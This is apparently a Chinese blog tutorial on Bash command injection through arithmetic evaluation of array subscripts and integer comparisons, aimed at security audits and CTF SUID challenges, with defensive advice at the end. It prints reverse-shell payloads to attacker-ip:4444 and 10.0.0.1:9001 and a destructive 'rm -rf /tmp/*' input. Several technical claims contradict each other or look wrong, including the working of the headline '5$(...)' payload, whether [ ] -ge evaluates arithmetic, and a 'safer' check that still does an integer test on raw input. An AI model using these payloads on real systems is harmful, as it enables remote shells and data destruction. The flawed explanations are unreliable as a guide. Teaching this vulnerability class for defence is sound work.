在 Bash 脚本安全审计与 CTF 比赛中,有一类非常隐蔽但威力极大的漏洞:数组下标(subscript)在算术上下文中的提前求值导致的命令注入。这类漏洞的核心特征是:脚本开发者以为自己在做简单的数值比较、变量赋值或数组操作,却没有意识到 Bash 会在某些特定语法位置提前对字符串进行算术表达式求值,而这个求值过程支持命令替换($(...))、变量展开甚至嵌套算术,从而造成任意代码执行。
这类漏洞在 2014–2020 年间被安全研究者反复披露过多个变种,但至今仍然在野外大量存在,尤其常见于 CTF 中的 SUID 提权脚本、运维自动化脚本、Web 后台调用 shell 的场景。
一、漏洞本质:哪些上下文会做算术求值?
Bash 官方文档(bash(1) man page)中明确列出了会进入算术求值(arithmetic evaluation)的几种主要语法结构:
- 算术扩展语法:
$((expression))、((expression)) - 整数赋值命令:
let "expression" - 数组下标操作:
${array[expression]}、${array[expression]=value}、array[expression]=value - 双中括号条件判断的整数比较:
[[ $var -eq 42 ]]、[[ $var -gt 10 ]](单中括号[ ]本身不解析算术,但-eq/-ne/-gt/-lt/-ge/-le等整数比较符会强制对参数做算术求值) - 整数变量声明赋值:
declare -i、local -i声明的变量赋值时 - C风格for循环:
for ((i=0; i<10; i++))的三个表达式 - 复合赋值操作:
(( var++ ))、(( var += 5 ))等
关键结论:
只要一个字符串被用作数组的下标,并且这个下标出现在算术上下文里,那么这个字符串就会被当作算术表达式完整求值。
而 Bash 的算术表达式支持:
- 变量展开
$var - 命令替换
$(cmd)/`cmd` - 嵌套算术
$((...)) - 条件运算符
a?b:c - 位运算、逻辑运算等
这意味着攻击者只要能控制这个变量,就能注入任意命令。
二、经典利用:数值比较中的命令注入
最常见的出现场景是这样的代码:
#!/bin/bash
# /usr/local/bin/backup (假设有 setuid root)
read -p "请输入您的用户等级(需要>=5才能备份): " level
if [[ "$level" -ge 5 ]]; then
echo "权限通过,开始备份..."
tar czf /backup/secret.tar.gz /flag
else
echo "权限不足"
fi
开发者以为只要用户输入纯数字即可,实际却极度危险。
攻击 payload:
5$(bash -i >& /dev/tcp/attacker-ip/4444 0>&1 &)
执行逻辑:
[[ ]]是Bash核心语法,会优先对-ge两侧的内容做完整算术上下文解析;- Payload中的
$(bash -i ...)被优先执行,建立反向Shell连接; - 命令替换执行后返回空,最终算术表达式简化为
5,满足5 -ge 5的条件(即使不满足,命令已执行)。
对比单中括号[ ]:若脚本使用[ "$level" -ge 5 ],test命令仅校验字符串是否为整数,不会解析算术表达式,因此Payload不会执行——这也是开发者易混淆的关键误区。
三、数组显式下标注入演示
下面是几个真实的注入演示:
演示1:declare 赋值
# 正常写法
declare "user_level=$input"
# 攻击者输入
input='a[$(touch /tmp/hacked)]=1'
# 执行后结果
declare 'user_level=a[$(touch /tmp/hacked)]=1'
# → touch /tmp/hacked 已经被执行
演示2:数组元素访问
files=(
readme.txt
config.ini
)
# 脚本想取第 n 个文件,n 来自用户
n=$input
echo "${files[$n]}"
攻击输入:
0$(rm -rf /tmp/* >&2)
或更隐蔽:
0$(bash -c 'bash -i >& /dev/tcp/10.0.0.1/9001 0>&1' >&2)
四、为什么开发者经常中招?常见误区
-
误以为只有 eval 才危险
很多人认为只要不写eval "$(...)"就安全,殊不知算术上下文就是 Bash 内置的“隐形 eval”。 -
以为加了引号就安全
[[ "$input" -gt 10 ]]中的双引号只防止字段分割和通配符展开,但不阻止算术求值。 -
以为 -eq/-gt 只比较数字
test 的整数比较操作符恰恰会强制把参数当作算术表达式处理。 -
以为数组下标只能是数字
Bash 允许下标是任意算术表达式,甚至是负数、字符串(关联数组除外)。 -
忽略了 declare -i / local -i
一旦变量被声明为整数类型,任何对它的赋值都会触发算术求值。
五、真实案例与历史披露
-
2014–2019 年多篇安全研究
NCC Group 2020 年文章《Shell Arithmetic Expansion and Evaluation Abuse》详细列举了算术上下文的多种滥用方式,其中数组下标是最强原语之一。 -
DEV.to 文章《Arithmetic operation in shell script can be exploited》
作者用一个看似无害的[ "$a" -eq "$b" ]演示了完整 RCE。 -
CTF 常见套路
很多CTF比赛中都会出现 1–2 道 SUID 脚本题,考点就是绕过[ $role -eq 0 ]/(( level >= 10 ))这类判断,直接用数组下标起 shell。 -
ShellCheck 警告
最新的 ShellCheck(0.10+)已经对[[ $var -eq ... ]]使用未经验证输入给出了 SC2086/SC2254 等警告,并明确说明存在代码执行风险。
六、防御与加固方案
-
永远不要在算术上下文中使用用户输入
最简单粗暴:看到-eq/-gt/-ge、(( ))、[ ]整数比较、数组下标,直接用正则或类型检查过滤。 -
强制字符串比较而非整数比较
推荐写法:# 错误(危险) [ "$level" -ge 5 ] # 推荐 [[ $level =~ ^[0-9]+$ ]] && (( level >= 5 )) # 或更安全 [[ $level = "admin" ]] || [[ $level -eq 0 ]] -
使用 -n 和整数声明前校验
if [[ ! $input =~ ^-?[0-9]+$ ]]; then echo "非数字输入" >&2 exit 1 fi declare -i n="$input" -
避免直接把用户输入用作数组下标
改用关联数组 + 字符串键,或者加前缀/后缀校验。 -
用更现代的工具替代 shell 脚本
高危运维脚本建议迁移到 Python / Go,减少 shell 直接处理用户输入的机会。 -
SUID 脚本最严格原则
• 禁止 read、readarray、mapfile 直接读用户输入
• 所有外部参数必须经过白名单正则校验
• 尽量把逻辑写到非 SUID 的普通脚本中,SUID 部分只做最少的工作
七、总结
Bash 数组下标“提前解析”导致的命令注入,是兼具隐蔽性与杀伤力的高危漏洞。它的可怕之处在于:
- 无需显式
eval调用,依托Bash内置语法即可执行代码; - 双引号无法阻断算术解析,常规防护手段失效;
- 出现在数值比较、数组操作等“看似无害”的场景中;
- SUID脚本中招后可直接导致权限提升。
记住下面这句口诀,几乎可以覆盖 90% 的此类漏洞:
“凡是用户可控的字符串,被用作数组下标、被放在 -eq/-gt 两侧、被放在 (( )) 里,都等于执行了隐形 eval”。
在写 shell 脚本时,看到类似 [ $xxx -gt 0 ]、"${arr[$input]}"、declare var=$input 这样的代码,立刻提高警惕,很可能就是下一道提权题的考点。
防御的核心只有一句话:
用户输入绝不应该进入任何算术上下文。
原文 https://blog.csdn.net/2301_79518550/article/details/145810204